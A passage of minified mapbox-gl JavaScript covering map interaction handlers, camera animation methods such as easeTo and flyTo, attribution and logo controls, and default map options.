ve=this._tap.touchend(H,he,$);ve&&(this._tapTime=H.timeStamp)}},li.prototype.touchcancel=function(){this.reset()},li.prototype.enable=function(){this._enabled=!0},li.prototype.disable=function(){this._enabled=!1,this.reset()},li.prototype.isEnabled=function(){return this._enabled},li.prototype.isActive=function(){return this._active};var Ai=function(H,he,$){this._el=H,this._mousePan=he,this._touchPan=$};Ai.prototype.enable=function(H){this._inertiaOptions=H||{},this._mousePan.enable(),this._touchPan.enable(),this._el.classList.add("mapboxgl-touch-drag-pan")},Ai.prototype.disable=function(){this._mousePan.disable(),this._touchPan.disable(),this._el.classList.remove("mapboxgl-touch-drag-pan")},Ai.prototype.isEnabled=function(){return this._mousePan.isEnabled()&&this._touchPan.isEnabled()},Ai.prototype.isActive=function(){return this._mousePan.isActive()||this._touchPan.isActive()};var uo=function(H,he,$){this._pitchWithRotate=H.pitchWithRotate,this._mouseRotate=he,this._mousePitch=$};uo.prototype.enable=function(){this._mouseRotate.enable(),this._pitchWithRotate&&this._mousePitch.enable()},uo.prototype.disable=function(){this._mouseRotate.disable(),this._mousePitch.disable()},uo.prototype.isEnabled=function(){return this._mouseRotate.isEnabled()&&(!this._pitchWithRotate||this._mousePitch.isEnabled())},uo.prototype.isActive=function(){return this._mouseRotate.isActive()||this._mousePitch.isActive()};var _i=function(H,he,$,ve){this._el=H,this._touchZoom=he,this._touchRotate=$,this._tapDragZoom=ve,this._rotationDisabled=!1,this._enabled=!0};_i.prototype.enable=function(H){this._touchZoom.enable(H),this._rotationDisabled||this._touchRotate.enable(H),this._tapDragZoom.enable(),this._el.classList.add("mapboxgl-touch-zoom-rotate")},_i.prototype.disable=function(){this._touchZoom.disable(),this._touchRotate.disable(),this._tapDragZoom.disable(),this._el.classList.remove("mapboxgl-touch-zoom-rotate")},_i.prototype.isEnabled=function(){return this._touchZoom.isEnabled()&&(this._rotationDisabled||this._touchRotate.isEnabled())&&this._tapDragZoom.isEnabled()},_i.prototype.isActive=function(){return this._touchZoom.isActive()||this._touchRotate.isActive()||this._tapDragZoom.isActive()},_i.prototype.disableRotation=function(){this._rotationDisabled=!0,this._touchRotate.disable()},_i.prototype.enableRotation=function(){this._rotationDisabled=!1,this._touchZoom.isEnabled()&&this._touchRotate.enable()};var Ki=function(ue){return ue.zoom||ue.drag||ue.pitch||ue.rotate},vi=function(ue){function H(){ue.apply(this,arguments)}return ue&&(H.__proto__=ue),H.prototype=Object.create(ue&&ue.prototype),H.prototype.constructor=H,H}(o.Event);function po(ue){return ue.panDelta&&ue.panDelta.mag()||ue.zoomDelta||ue.bearingDelta||ue.pitchDelta}var ai=function(H,he){this._map=H,this._el=this._map.getCanvasContainer(),this._handlers=[],this._handlersById={},this._changes=[],this._inertia=new ni(H),this._bearingSnap=he.bearingSnap,this._previousActiveHandlers={},this._eventsInProgress={},this._addDefaultHandlers(he),o.bindAll(["handleEvent","handleWindowEvent"],this);var $=this._el;this._listeners=[[$,"touchstart",{passive:!1}],[$,"touchmove",{passive:!1}],[$,"touchend",void 0],[$,"touchcancel",void 0],[$,"mousedown",void 0],[$,"mousemove",void 0],[$,"mouseup",void 0],[o.window.document,"mousemove",{capture:!0}],[o.window.document,"mouseup",void 0],[$,"mouseover",void 0],[$,"mouseout",void 0],[$,"dblclick",void 0],[$,"click",void 0],[$,"keydown",{capture:!1}],[$,"keyup",void 0],[$,"wheel",{passive:!1}],[$,"contextmenu",void 0],[o.window,"blur",void 0]];for(var ve=0,Re=this._listeners;ve<Re.length;ve+=1){var He=Re[ve],tt=He[0],ht=He[1],Dt=He[2];S.addEventListener(tt,ht,tt===o.window.document?this.handleWindowEvent:this.handleEvent,Dt)}};ai.prototype.destroy=function(){for(var H=0,he=this._listeners;H<he.length;H+=1){var $=he[H],ve=$[0],Re=$[1],He=$[2];S.removeEventListener(ve,Re,ve===o.window.document?this.handleWindowEvent:this.handleEvent,He)}},ai.prototype._addDefaultHandlers=function(H){var he=this._map,$=he.getCanvasContainer();this._add("mapEvent",new qe(he,H));var ve=he.boxZoom=new it(he,H);this._add("boxZoom",ve);var Re=new Mr,He=new pa;he.doubleClickZoom=new la(He,Re),this._add("tapZoom",Re),this._add("clickZoom",He);var tt=new li;this._add("tapDragZoom",tt);var ht=he.touchPitch=new In;this._add("touchPitch",ht);var Dt=new Vr(H),Wt=new Dn(H);he.dragRotate=new uo(H,Dt,Wt),this._add("mouseRotate",Dt,["mousePitch"]),this._add("mousePitch",Wt,["mouseRotate"]);var ar=new rn(H),hr=new Fn(H);he.dragPan=new Ai($,ar,hr),this._add("mousePan",ar),this._add("touchPan",hr,["touchZoom","touchRotate"]);var Er=new Ua,Fr=new Ra;he.touchZoomRotate=new _i($,Fr,Er,tt),this._add("touchRotate",Er,["touchPan","touchZoom"]),this._add("touchZoom",Fr,["touchPan","touchRotate"]);var Or=he.scrollZoom=new ei(he,this);this._add("scrollZoom",Or,["mousePan"]);var zr=he.keyboard=new Sa;this._add("keyboard",zr),this._add("blockableMapEvent",new Mt(he));for(var Yr=0,en=["boxZoom","doubleClickZoom","tapDragZoom","touchPitch","dragRotate","dragPan","touchZoomRotate","scrollZoom","keyboard"];Yr<en.length;Yr+=1){var xn=en[Yr];H.interactive&&H[xn]&&he[xn].enable(H[xn])}},ai.prototype._add=function(H,he,$){this._handlers.push({handlerName:H,handler:he,allowed:$}),this._handlersById[H]=he},ai.prototype.stop=function(){if(!this._updatingCamera){for(var H=0,he=this._handlers;H<he.length;H+=1){var $=he[H],ve=$.handler;ve.reset()}this._inertia.clear(),this._fireEvents({},{}),this._changes=[]}},ai.prototype.isActive=function(){for(var H=0,he=this._handlers;H<he.length;H+=1){var $=he[H],ve=$.handler;if(ve.isActive())return!0}return!1},ai.prototype.isZooming=function(){return!!this._eventsInProgress.zoom||this._map.scrollZoom.isZooming()},ai.prototype.isRotating=function(){return!!this._eventsInProgress.rotate},ai.prototype.isMoving=function(){return!!Ki(this._eventsInProgress)||this.isZooming()},ai.prototype._blockedByActive=function(H,he,$){for(var ve in H)if(ve!==$&&(!he||he.indexOf(ve)<0))return!0;return!1},ai.prototype.handleWindowEvent=function(H){this.handleEvent(H,H.type+"Window")},ai.prototype._getMapTouches=function(H){for(var he=[],$=0,ve=H;$<ve.length;$+=1){var Re=ve[$],He=Re.target;this._el.contains(He)&&he.push(Re)}return he},ai.prototype.handleEvent=function(H,he){if(H.type==="blur"){this.stop();return}this._updatingCamera=!0;for(var $=H.type==="renderFrame"?void 0:H,ve={needsRenderFrame:!1},Re={},He={},tt=H.touches?this._getMapTouches(H.touches):void 0,ht=tt?S.touchPos(this._el,tt):S.mousePos(this._el,H),Dt=0,Wt=this._handlers;Dt<Wt.length;Dt+=1){var ar=Wt[Dt],hr=ar.handlerName,Er=ar.handler,Fr=ar.allowed;if(Er.isEnabled()){var Or=void 0;this._blockedByActive(He,Fr,hr)?Er.reset():Er[he||H.type]&&(Or=Er[he||H.type](H,ht,tt),this.mergeHandlerResult(ve,Re,Or,hr,$),Or&&Or.needsRenderFrame&&this._triggerRenderFrame()),(Or||Er.isActive())&&(He[hr]=Er)}}var zr={};for(var Yr in this._previousActiveHandlers)He[Yr]||(zr[Yr]=$);this._previousActiveHandlers=He,(Object.keys(zr).length||po(ve))&&(this._changes.push([ve,Re,zr]),this._triggerRenderFrame()),(Object.keys(He).length||po(ve))&&this._map._stop(!0),this._updatingCamera=!1;var en=ve.cameraAnimation;en&&(this._inertia.clear(),this._fireEvents({},{}),this._changes=[],en(this._map))},ai.prototype.mergeHandlerResult=function(H,he,$,ve,Re){if($){o.extend(H,$);var He={handlerName:ve,originalEvent:$.originalEvent||Re};$.zoomDelta!==void 0&&(he.zoom=He),$.panDelta!==void 0&&(he.drag=He),$.pitchDelta!==void 0&&(he.pitch=He),$.bearingDelta!==void 0&&(he.rotate=He)}},ai.prototype._applyChanges=function(){for(var H={},he={},$={},ve=0,Re=this._changes;ve<Re.length;ve+=1){var He=Re[ve],tt=He[0],ht=He[1],Dt=He[2];tt.panDelta&&(H.panDelta=(H.panDelta||new o.Point(0,0))._add(tt.panDelta)),tt.zoomDelta&&(H.zoomDelta=(H.zoomDelta||0)+tt.zoomDelta),tt.bearingDelta&&(H.bearingDelta=(H.bearingDelta||0)+tt.bearingDelta),tt.pitchDelta&&(H.pitchDelta=(H.pitchDelta||0)+tt.pitchDelta),tt.around!==void 0&&(H.around=tt.around),tt.pinchAround!==void 0&&(H.pinchAround=tt.pinchAround),tt.noInertia&&(H.noInertia=tt.noInertia),o.extend(he,ht),o.extend($,Dt)}this._updateMapTransform(H,he,$),this._changes=[]},ai.prototype._updateMapTransform=function(H,he,$){var ve=this._map,Re=ve.transform;if(!po(H))return this._fireEvents(he,$);var He=H.panDelta,tt=H.zoomDelta,ht=H.bearingDelta,Dt=H.pitchDelta,Wt=H.around,ar=H.pinchAround;ar!==void 0&&(Wt=ar),ve._stop(!0),Wt=Wt||ve.transform.centerPoint;var hr=Re.pointLocation(He?Wt.sub(He):Wt);ht&&(Re.bearing+=ht),Dt&&(Re.pitch+=Dt),tt&&(Re.zoom+=tt),Re.setLocationAtPoint(hr,Wt),this._map._update(),H.noInertia||this._inertia.record(H),this._fireEvents(he,$)},ai.prototype._fireEvents=function(H,he){var $=this,ve=Ki(this._eventsInProgress),Re=Ki(H),He={};for(var tt in H){var ht=H[tt],Dt=ht.originalEvent;this._eventsInProgress[tt]||(He[tt+"start"]=Dt),this._eventsInProgress[tt]=H[tt]}!ve&&Re&&this._fireEvent("movestart",Re.originalEvent);for(var Wt in He)this._fireEvent(Wt,He[Wt]);H.rotate&&(this._bearingChanged=!0),Re&&this._fireEvent("move",Re.originalEvent);for(var ar in H){var hr=H[ar],Er=hr.originalEvent;this._fireEvent(ar,Er)}var Fr={},Or;for(var zr in this._eventsInProgress){var Yr=this._eventsInProgress[zr],en=Yr.handlerName,xn=Yr.originalEvent;this._handlersById[en].isActive()||(delete this._eventsInProgress[zr],Or=he[en]||xn,Fr[zr+"end"]=Or)}for(var Pn in Fr)this._fireEvent(Pn,Fr[Pn]);var Bn=Ki(this._eventsInProgress);if((ve||Re)&&!Bn){this._updatingCamera=!0;var Un=this._inertia._onMoveEnd(this._map.dragPan._inertiaOptions),Nn=function(jn){return jn!==0&&-$._bearingSnap<jn&&jn<$._bearingSnap};Un?(Nn(Un.bearing||this._map.getBearing())&&(Un.bearing=0),this._map.easeTo(Un,{originalEvent:Or})):(this._map.fire(new o.Event("moveend",{originalEvent:Or})),Nn(this._map.getBearing())&&this._map.resetNorth()),this._bearingChanged=!1,this._updatingCamera=!1}},ai.prototype._fireEvent=function(H,he){this._map.fire(new o.Event(H,he?{originalEvent:he}:{}))},ai.prototype._triggerRenderFrame=function(){var H=this;this._frameId===void 0&&(this._frameId=this._map._requestRenderFrame(function(he){delete H._frameId,H.handleEvent(new vi("renderFrame",{timeStamp:he})),H._applyChanges()}))};var Oo=function(ue){function H(he,$){ue.call(this),this._moving=!1,this._zooming=!1,this.transform=he,this._bearingSnap=$.bearingSnap,o.bindAll(["_renderFrameCallback"],this)}return ue&&(H.__proto__=ue),H.prototype=Object.create(ue&&ue.prototype),H.prototype.constructor=H,H.prototype.getCenter=function(){return new o.LngLat(this.transform.center.lng,this.transform.center.lat)},H.prototype.setCenter=function($,ve){return this.jumpTo({center:$},ve)},H.prototype.panBy=function($,ve,Re){return $=o.Point.convert($).mult(-1),this.panTo(this.transform.center,o.extend({offset:$},ve),Re)},H.prototype.panTo=function($,ve,Re){return this.easeTo(o.extend({center:$},ve),Re)},H.prototype.getZoom=function(){return this.transform.zoom},H.prototype.setZoom=function($,ve){return this.jumpTo({zoom:$},ve),this},H.prototype.zoomTo=function($,ve,Re){return this.easeTo(o.extend({zoom:$},ve),Re)},H.prototype.zoomIn=function($,ve){return this.zoomTo(this.getZoom()+1,$,ve),this},H.prototype.zoomOut=function($,ve){return this.zoomTo(this.getZoom()-1,$,ve),this},H.prototype.getBearing=function(){return this.transform.bearing},H.prototype.setBearing=function($,ve){return this.jumpTo({bearing:$},ve),this},H.prototype.getPadding=function(){return this.transform.padding},H.prototype.setPadding=function($,ve){return this.jumpTo({padding:$},ve),this},H.prototype.rotateTo=function($,ve,Re){return this.easeTo(o.extend({bearing:$},ve),Re)},H.prototype.resetNorth=function($,ve){return this.rotateTo(0,o.extend({duration:1e3},$),ve),this},H.prototype.resetNorthPitch=function($,ve){return this.easeTo(o.extend({bearing:0,pitch:0,duration:1e3},$),ve),this},H.prototype.snapToNorth=function($,ve){return Math.abs(this.getBearing())<this._bearingSnap?this.resetNorth($,ve):this},H.prototype.getPitch=function(){return this.transform.pitch},H.prototype.setPitch=function($,ve){return this.jumpTo({pitch:$},ve),this},H.prototype.cameraForBounds=function($,ve){return $=o.LngLatBounds.convert($),this._cameraForBoxAndBearing($.getNorthWest(),$.getSouthEast(),0,ve)},H.prototype._cameraForBoxAndBearing=function($,ve,Re,He){var tt={top:0,bottom:0,right:0,left:0};if(He=o.extend({padding:tt,offset:[0,0],maxZoom:this.transform.maxZoom},He),typeof He.padding=="number"){var ht=He.padding;He.padding={top:ht,bottom:ht,right:ht,left:ht}}He.padding=o.extend(tt,He.padding);var Dt=this.transform,Wt=Dt.padding,ar=Dt.project(o.LngLat.convert($)),hr=Dt.project(o.LngLat.convert(ve)),Er=ar.rotate(-Re*Math.PI/180),Fr=hr.rotate(-Re*Math.PI/180),Or=new o.Point(Math.max(Er.x,Fr.x),Math.max(Er.y,Fr.y)),zr=new o.Point(Math.min(Er.x,Fr.x),Math.min(Er.y,Fr.y)),Yr=Or.sub(zr),en=(Dt.width-(Wt.left+Wt.right+He.padding.left+He.padding.right))/Yr.x,xn=(Dt.height-(Wt.top+Wt.bottom+He.padding.top+He.padding.bottom))/Yr.y;if(xn<0||en<0){o.warnOnce("Map cannot fit within canvas with the given bounds, padding, and/or offset.");return}var Pn=Math.min(Dt.scaleZoom(Dt.scale*Math.min(en,xn)),He.maxZoom),Bn=o.Point.convert(He.offset),Un=(He.padding.left-He.padding.right)/2,Nn=(He.padding.top-He.padding.bottom)/2,jn=new o.Point(Bn.x+Un,Bn.y+Nn),na=jn.mult(Dt.scale/Dt.zoomScale(Pn)),ra=Dt.unproject(ar.add(hr).div(2).sub(na));return{center:ra,zoom:Pn,bearing:Re}},H.prototype.fitBounds=function($,ve,Re){return this._fitInternal(this.cameraForBounds($,ve),ve,Re)},H.prototype.fitScreenCoordinates=function($,ve,Re,He,tt){return this._fitInternal(this._cameraForBoxAndBearing(this.transform.pointLocation(o.Point.convert($)),this.transform.pointLocation(o.Point.convert(ve)),Re,He),He,tt)},H.prototype._fitInternal=function($,ve,Re){return $?(ve=o.extend($,ve),delete ve.padding,ve.linear?this.easeTo(ve,Re):this.flyTo(ve,Re)):this},H.prototype.jumpTo=function($,ve){this.stop();var Re=this.transform,He=!1,tt=!1,ht=!1;return"zoom"in $&&Re.zoom!==+$.zoom&&(He=!0,Re.zoom=+$.zoom),$.center!==void 0&&(Re.center=o.LngLat.convert($.center)),"bearing"in $&&Re.bearing!==+$.bearing&&(tt=!0,Re.bearing=+$.bearing),"pitch"in $&&Re.pitch!==+$.pitch&&(ht=!0,Re.pitch=+$.pitch),$.padding!=null&&!Re.isPaddingEqual($.padding)&&(Re.padding=$.padding),this.fire(new o.Event("movestart",ve)).fire(new o.Event("move",ve)),He&&this.fire(new o.Event("zoomstart",ve)).fire(new o.Event("zoom",ve)).fire(new o.Event("zoomend",ve)),tt&&this.fire(new o.Event("rotatestart",ve)).fire(new o.Event("rotate",ve)).fire(new o.Event("rotateend",ve)),ht&&this.fire(new o.Event("pitchstart",ve)).fire(new o.Event("pitch",ve)).fire(new o.Event("pitchend",ve)),this.fire(new o.Event("moveend",ve))},H.prototype.easeTo=function($,ve){var Re=this;this._stop(!1,$.easeId),$=o.extend({offset:[0,0],duration:500,easing:o.ease},$),($.animate===!1||!$.essential&&o.browser.prefersReducedMotion)&&($.duration=0);var He=this.transform,tt=this.getZoom(),ht=this.getBearing(),Dt=this.getPitch(),Wt=this.getPadding(),ar="zoom"in $?+$.zoom:tt,hr="bearing"in $?this._normalizeBearing($.bearing,ht):ht,Er="pitch"in $?+$.pitch:Dt,Fr="padding"in $?$.padding:He.padding,Or=o.Point.convert($.offset),zr=He.centerPoint.add(Or),Yr=He.pointLocation(zr),en=o.LngLat.convert($.center||Yr);this._normalizeCenter(en);var xn=He.project(Yr),Pn=He.project(en).sub(xn),Bn=He.zoomScale(ar-tt),Un,Nn;$.around&&(Un=o.LngLat.convert($.around),Nn=He.locationPoint(Un));var jn={moving:this._moving,zooming:this._zooming,rotating:this._rotating,pitching:this._pitching};return this._zooming=this._zooming||ar!==tt,this._rotating=this._rotating||ht!==hr,this._pitching=this._pitching||Er!==Dt,this._padding=!He.isPaddingEqual(Fr),this._easeId=$.easeId,this._prepareEase(ve,$.noMoveStart,jn),clearTimeout(this._easeEndTimeoutID),this._ease(function(na){if(Re._zooming&&(He.zoom=o.number(tt,ar,na)),Re._rotating&&(He.bearing=o.number(ht,hr,na)),Re._pitching&&(He.pitch=o.number(Dt,Er,na)),Re._padding&&(He.interpolatePadding(Wt,Fr,na),zr=He.centerPoint.add(Or)),Un)He.setLocationAtPoint(Un,Nn);else{var ra=He.zoomScale(He.zoom-tt),sa=ar>tt?Math.min(2,Bn):Math.max(.5,Bn),ha=Math.pow(sa,1-na),Aa=He.unproject(xn.add(Pn.mult(na*ha)).mult(ra));He.setLocationAtPoint(He.renderWorldCopies?Aa.wrap():Aa,zr)}Re._fireMoveEvents(ve)},function(na){Re._afterEase(ve,na)},$),this},H.prototype._prepareEase=function($,ve,Re){Re===void 0&&(Re={}),this._moving=!0,!ve&&!Re.moving&&this.fire(new o.Event("movestart",$)),this._zooming&&!Re.zooming&&this.fire(new o.Event("zoomstart",$)),this._rotating&&!Re.rotating&&this.fire(new o.Event("rotatestart",$)),this._pitching&&!Re.pitching&&this.fire(new o.Event("pitchstart",$))},H.prototype._fireMoveEvents=function($){this.fire(new o.Event("move",$)),this._zooming&&this.fire(new o.Event("zoom",$)),this._rotating&&this.fire(new o.Event("rotate",$)),this._pitching&&this.fire(new o.Event("pitch",$))},H.prototype._afterEase=function($,ve){if(!(this._easeId&&ve&&this._easeId===ve)){delete this._easeId;var Re=this._zooming,He=this._rotating,tt=this._pitching;this._moving=!1,this._zooming=!1,this._rotating=!1,this._pitching=!1,this._padding=!1,Re&&this.fire(new o.Event("zoomend",$)),He&&this.fire(new o.Event("rotateend",$)),tt&&this.fire(new o.Event("pitchend",$)),this.fire(new o.Event("moveend",$))}},H.prototype.flyTo=function($,ve){var Re=this;if(!$.essential&&o.browser.prefersReducedMotion){var He=o.pick($,["center","zoom","bearing","pitch","around"]);return this.jumpTo(He,ve)}this.stop(),$=o.extend({offset:[0,0],speed:1.2,curve:1.42,easing:o.ease},$);var tt=this.transform,ht=this.getZoom(),Dt=this.getBearing(),Wt=this.getPitch(),ar=this.getPadding(),hr="zoom"in $?o.clamp(+$.zoom,tt.minZoom,tt.maxZoom):ht,Er="bearing"in $?this._normalizeBearing($.bearing,Dt):Dt,Fr="pitch"in $?+$.pitch:Wt,Or="padding"in $?$.padding:tt.padding,zr=tt.zoomScale(hr-ht),Yr=o.Point.convert($.offset),en=tt.centerPoint.add(Yr),xn=tt.pointLocation(en),Pn=o.LngLat.convert($.center||xn);this._normalizeCenter(Pn);var Bn=tt.project(xn),Un=tt.project(Pn).sub(Bn),Nn=$.curve,jn=Math.max(tt.width,tt.height),na=jn/zr,ra=Un.mag();if("minZoom"in $){var sa=o.clamp(Math.min($.minZoom,ht,hr),tt.minZoom,tt.maxZoom),ha=jn/tt.zoomScale(sa-ht);Nn=Math.sqrt(ha/ra*2)}var Aa=Nn*Nn;function Da(Ia){var Ha=(na*na-jn*jn+(Ia?-1:1)*Aa*Aa*ra*ra)/(2*(Ia?na:jn)*Aa*ra);return Math.log(Math.sqrt(Ha*Ha+1)-Ha)}function Ka(Ia){return(Math.exp(Ia)-Math.exp(-Ia))/2}function ka(Ia){return(Math.exp(Ia)+Math.exp(-Ia))/2}function Ba(Ia){return Ka(Ia)/ka(Ia)}var xa=Da(0),Ja=function(Ia){return ka(xa)/ka(xa+Nn*Ia)},qa=function(Ia){return jn*((ka(xa)*Ba(xa+Nn*Ia)-Ka(xa))/Aa)/ra},ti=(Da(1)-xa)/Nn;if(Math.abs(ra)<1e-6||!isFinite(ti)){if(Math.abs(jn-na)<1e-6)return this.easeTo($,ve);var Na=na<jn?-1:1;ti=Math.abs(Math.log(na/jn))/Nn,qa=function(){return 0},Ja=function(Ia){return Math.exp(Na*Nn*Ia)}}if("duration"in $)$.duration=+$.duration;else{var fi="screenSpeed"in $?+$.screenSpeed/Nn:+$.speed;$.duration=1e3*ti/fi}return $.maxDuration&&$.duration>$.maxDuration&&($.duration=0),this._zooming=!0,this._rotating=Dt!==Er,this._pitching=Fr!==Wt,this._padding=!tt.isPaddingEqual(Or),this._prepareEase(ve,!1),this._ease(function(Ia){var Ha=Ia*ti,Ei=1/Ja(Ha);tt.zoom=Ia===1?hr:ht+tt.scaleZoom(Ei),Re._rotating&&(tt.bearing=o.number(Dt,Er,Ia)),Re._pitching&&(tt.pitch=o.number(Wt,Fr,Ia)),Re._padding&&(tt.interpolatePadding(ar,Or,Ia),en=tt.centerPoint.add(Yr));var Bi=Ia===1?Pn:tt.unproject(Bn.add(Un.mult(qa(Ha))).mult(Ei));tt.setLocationAtPoint(tt.renderWorldCopies?Bi.wrap():Bi,en),Re._fireMoveEvents(ve)},function(){return Re._afterEase(ve)},$),this},H.prototype.isEasing=function(){return!!this._easeFrameId},H.prototype.stop=function(){return this._stop()},H.prototype._stop=function($,ve){if(this._easeFrameId&&(this._cancelRenderFrame(this._easeFrameId),delete this._easeFrameId,delete this._onEaseFrame),this._onEaseEnd){var Re=this._onEaseEnd;delete this._onEaseEnd,Re.call(this,ve)}if(!$){var He=this.handlers;He&&He.stop()}return this},H.prototype._ease=function($,ve,Re){Re.animate===!1||Re.duration===0?($(1),ve()):(this._easeStart=o.browser.now(),this._easeOptions=Re,this._onEaseFrame=$,this._onEaseEnd=ve,this._easeFrameId=this._requestRenderFrame(this._renderFrameCallback))},H.prototype._renderFrameCallback=function(){var $=Math.min((o.browser.now()-this._easeStart)/this._easeOptions.duration,1);this._onEaseFrame(this._easeOptions.easing($)),$<1?this._easeFrameId=this._requestRenderFrame(this._renderFrameCallback):this.stop()},H.prototype._normalizeBearing=function($,ve){$=o.wrap($,-180,180);var Re=Math.abs($-ve);return Math.abs($-360-ve)<Re&&($-=360),Math.abs($+360-ve)<Re&&($+=360),$},H.prototype._normalizeCenter=function($){var ve=this.transform;if(!(!ve.renderWorldCopies||ve.lngRange)){var Re=$.lng-ve.center.lng;$.lng+=Re>180?-360:Re<-180?360:0}},H}(o.Evented),go=function(H){H===void 0&&(H={}),this.options=H,o.bindAll(["_updateEditLink","_updateData","_updateCompact"],this)};go.prototype.getDefaultPosition=function(){return"bottom-right"},go.prototype.onAdd=function(H){var he=this.options&&this.options.compact;return this._map=H,this._container=S.create("div","mapboxgl-ctrl mapboxgl-ctrl-attrib"),this._innerContainer=S.create("div","mapboxgl-ctrl-attrib-inner",this._container),he&&this._container.classList.add("mapboxgl-compact"),this._updateAttributions(),this._updateEditLink(),this._map.on("styledata",this._updateData),this._map.on("sourcedata",this._updateData),this._map.on("moveend",this._updateEditLink),he===void 0&&(this._map.on("resize",this._updateCompact),this._updateCompact()),this._container},go.prototype.onRemove=function(){S.remove(this._container),this._map.off("styledata",this._updateData),this._map.off("sourcedata",this._updateData),this._map.off("moveend",this._updateEditLink),this._map.off("resize",this._updateCompact),this._map=void 0,this._attribHTML=void 0},go.prototype._updateEditLink=function(){var H=this._editLink;H||(H=this._editLink=this._container.querySelector(".mapbox-improve-map"));var he=[{key:"owner",value:this.styleOwner},{key:"id",value:this.styleId},{key:"access_token",value:this._map._requestManager._customAccessToken||o.config.ACCESS_TOKEN}];if(H){var $=he.reduce(function(ve,Re,He){return Re.value&&(ve+=Re.key+"="+Re.value+(He<he.length-1?"&":"")),ve},"?");H.href=o.config.FEEDBACK_URL+"/"+$+(this._map._hash?this._map._hash.getHashString(!0):""),H.rel="noopener nofollow"}},go.prototype._updateData=function(H){H&&(H.sourceDataType==="metadata"||H.dataType==="style")&&(this._updateAttributions(),this._updateEditLink())},go.prototype._updateAttributions=function(){if(this._map.style){var H=[];if(this.options.customAttribution&&(Array.isArray(this.options.customAttribution)?H=H.concat(this.options.customAttribution.map(function(ht){return typeof ht!="string"?"":ht})):typeof this.options.customAttribution=="string"&&H.push(this.options.customAttribution)),this._map.style.stylesheet){var he=this._map.style.stylesheet;this.styleOwner=he.owner,this.styleId=he.id}var $=this._map.style.sourceCaches;for(var ve in $){var Re=$[ve];if(Re.used){var He=Re.getSource();He.attribution&&H.indexOf(He.attribution)<0&&H.push(He.attribution)}}H.sort(function(ht,Dt){return ht.length-Dt.length}),H=H.filter(function(ht,Dt){for(var Wt=Dt+1;Wt<H.length;Wt++)if(H[Wt].indexOf(ht)>=0)return!1;return!0});var tt=H.join(" | ");tt!==this._attribHTML&&(this._attribHTML=tt,H.length?(this._innerContainer.innerHTML=tt,this._container.classList.remove("mapboxgl-attrib-empty")):this._container.classList.add("mapboxgl-attrib-empty"),this._editLink=null)}},go.prototype._updateCompact=function(){this._map.getCanvasContainer().offsetWidth<=640?this._container.classList.add("mapboxgl-compact"):this._container.classList.remove("mapboxgl-compact")};var Oa=function(){o.bindAll(["_updateLogo"],this),o.bindAll(["_updateCompact"],this)};Oa.prototype.onAdd=function(H){this._map=H,this._container=S.create("div","mapboxgl-ctrl");var he=S.create("a","mapboxgl-ctrl-logo");return he.target="_blank",he.rel="noopener nofollow",he.href="https://www.mapbox.com/",he.setAttribute("aria-label",this._map._getUIString("LogoControl.Title")),he.setAttribute("rel","noopener nofollow"),this._container.appendChild(he),this._container.style.display="none",this._map.on("sourcedata",this._updateLogo),this._updateLogo(),this._map.on("resize",this._updateCompact),this._updateCompact(),this._container},Oa.prototype.onRemove=function(){S.remove(this._container),this._map.off("sourcedata",this._updateLogo),this._map.off("resize",this._updateCompact)},Oa.prototype.getDefaultPosition=function(){return"bottom-left"},Oa.prototype._updateLogo=function(H){(!H||H.sourceDataType==="metadata")&&(this._container.style.display=this._logoRequired()?"block":"none")},Oa.prototype._logoRequired=function(){if(this._map.style){var H=this._map.style.sourceCaches;for(var he in H){var $=H[he].getSource();if($.mapbox_logo)return!0}return!1}},Oa.prototype._updateCompact=function(){var H=this._container.children;if(H.length){var he=H[0];this._map.getCanvasContainer().offsetWidth<250?he.classList.add("mapboxgl-compact"):he.classList.remove("mapboxgl-compact")}};var ui=function(){this._queue=[],this._id=0,this._cleared=!1,this._currentlyRunning=!1};ui.prototype.add=function(H){var he=++this._id,$=this._queue;return $.push({callback:H,id:he,cancelled:!1}),he},ui.prototype.remove=function(H){for(var he=this._currentlyRunning,$=he?this._queue.concat(he):this._queue,ve=0,Re=$;ve<Re.length;ve+=1){var He=Re[ve];if(He.id===H){He.cancelled=!0;return}}},ui.prototype.run=function(H){H===void 0&&(H=0);var he=this._currentlyRunning=this._queue;this._queue=[];for(var $=0,ve=he;$<ve.length;$+=1){var Re=ve[$];if(!Re.cancelled&&(Re.callback(H),this._cleared))break}this._cleared=!1,this._currentlyRunning=!1},ui.prototype.clear=function(){this._currentlyRunning&&(this._cleared=!0),this._queue=[]};var Bu={"FullscreenControl.Enter":"Enter fullscreen","FullscreenControl.Exit":"Exit fullscreen","GeolocateControl.FindMyLocation":"Find my location","GeolocateControl.LocationNotAvailable":"Location not available","LogoControl.Title":"Mapbox logo","NavigationControl.ResetBearing":"Reset bearing to north","NavigationControl.ZoomIn":"Zoom in","NavigationControl.ZoomOut":"Zoom out","ScaleControl.Feet":"ft","ScaleControl.Meters":"m","ScaleControl.Kilometers":"km","ScaleControl.Miles":"mi","ScaleControl.NauticalMiles":"nm"},vu=o.window.HTMLImageElement,yf=o.window.HTMLElement,_l=o.window.ImageBitmap,Nu=-2,Lf=22,So=0,zl=60,ec={center:[0,0],zoom:0,bearing:0,pitch:0,minZoom:Nu,maxZoom:Lf,minPitch:So,maxPitch:zl,interactive:!0,scrollZoom:!0,boxZoom:!0,dragRotate:!0,dragPan:!0,keyboard:!0,doubleClickZoom:!0,touchZoomRotate:!0,touchPitch:!0,bearingSnap:7,clickTolerance:3,pitchWithRotate:!0,hash:!1,attributionControl:!0,failIfMajorPerformanceCaveat:!1,preserveDrawingBuffer:!1,trackResize:!0,renderWorldCopies:!0,refreshExpiredTiles:!0,maxTileCacheSize:null,localIdeographFontFamily:"sans-serif",transformRequest:null,accessToken:null,fadeDuration:300,crossSourceCollisions:!0},tc=function(ue){function H($){var ve=this;if($=o.extend({},ec,$),$.minZoom!=null&&$.maxZoom!=null&&$.minZoom>$.maxZoom)throw new Error("maxZoom must be greater than or equal to minZoom");if($.minPitch!=null&&$.maxPitch!=null&&$.minPitch>$.maxPitch)throw new Error("maxPitch must be greater than or equal to minPitch");if($.minPitch!=null&&$.minPitch<So)throw new Error("minPitch must be greater than or equal to "+So);if($.maxPitch!=null&&$.maxPitch>zl)throw new Error("maxPitch must be less than or equal to "+zl);var Re=new 